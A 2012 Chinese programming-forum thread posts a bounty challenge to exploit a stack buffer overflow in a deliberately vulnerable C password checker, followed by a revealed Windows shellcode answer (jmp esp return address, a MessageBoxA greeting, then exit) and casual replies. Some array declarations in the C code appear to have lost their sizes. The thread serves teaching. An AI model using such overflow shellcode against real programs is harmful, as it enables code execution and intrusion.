悬赏一百鱼币,大家一起学习C语言溢出漏洞的利用,有木有?!
溢出后如下图:含有溢出漏洞的C代码:
#include <stdio.h>
#include <string.h>
#include <windows.h>
#define PASSWORD "I_love_www.fishc.com"
int check_password( char *password )
{
int flag;
char buffer;
flag = strcmp( password, PASSWORD );
strcpy( buffer, password );
return flag;
}
int main()
{
int flag = 0;
char password;
FILE *fp;
LoadLibrary("user32.dll");
if( !(fp = fopen("password.txt", "rw+")) )
{
printf("Can not open password.txt!\n");
return 0;
}
fscanf( fp, "%s", password );
flag = check_password( password );
if( flag )
{
printf("Incorrect password!\n");
}
else
{
printf("Congratulation!\n");
}
fclose(fp);
return 0;
}
要求:编辑password.txt文件,运行程序,实现截图界面!
**** Hidden Message *****
本帖最后由 五月跳回家 于 2012-8-9 11:24 编辑
shellcode "\x66\x69\x73\x68"//前面填充80个字节栈
"\x12\x45\xfa\x7f"//jmp esp(原eip)
"\x33\xDB\x53"//xor ebx,ebx
"\x68\x63\x6F\x6D\x21"//push 216D6F63
"\x68\x73\x68\x63\x2E"//push 2E636873
"\x68\x6F\x5F\x66\x69"//push 69665F6F
"\x68\x6D\x65\x5F\x74"//push 745F656D
"\x68\x65\x6C\x63\x6F"//push 6F636C65
"\x68\x5E\x5F\x5E\x77"//push 775E5F5E; ascii ^_^welcome_to_fishc.com!
"\x8B\xC4"//mov eax, esp
"\x53"//push ebx
"\x50"//push eax
"\x50"//push eax
"\x53"//push ebx
"\xB8\x11\xEA\x34\x75"//mov eax,0x7534EA11 ; 我电脑上MessageBoxA的地址
"\xFF\xD0"//call eax
"\x53"//push ebx
"\xB8\xFA\xCA\x81\x7C"//mov eax, 7C81CAFA
"\xFF\xD0";//call eax; exit(0)
诱惑 挺大的坐等大牛现身! 终于有动力学习啦{:5_108:} 坐等大牛来~~~小甲鱼什么时候可以把delphi的教程搬过去呢,期待 最近在看甲鱼哥的汇编,c语言搞到链表吧,文件操作略有接触,对溢出目前茫然。。。 先留个名,嘿嘿:lol 不是原来另加300鱼币的吗,怎么改了{:5_94:} 刚刚还没隐贴的啊 这么好玩啊 看看{:1_1:}{:1_1:} {:2_36:}留个名吧。c不熟 有意思一定要顶起啊! 表示不懂。。。。。。 老师已经把程序写出来了。 颓废的青春 发表于 2012-8-8 22:31 static/image/common/back.gif
不是原来另加300鱼币的吗,怎么改了
{:5_109:}算算难度好像没那么大,所以改200鱼币~ 小淘 发表于 2012-8-8 22:44 static/image/common/back.gif
老师已经把程序写出来了。
{:5_103:}要求编辑读取的password.txt利用程序的溢出漏洞加入规定的内容~ 还没有接触者东西呢 嗯?。。。 看看,说不定咱也能拿到手呢 小甲鱼 发表于 2012-8-8 22:49 static/image/common/back.gif
算算难度好像没那么大,所以改200鱼币~
我感觉挺难的,好像涉及到汇编知识,什么堆栈之类的啦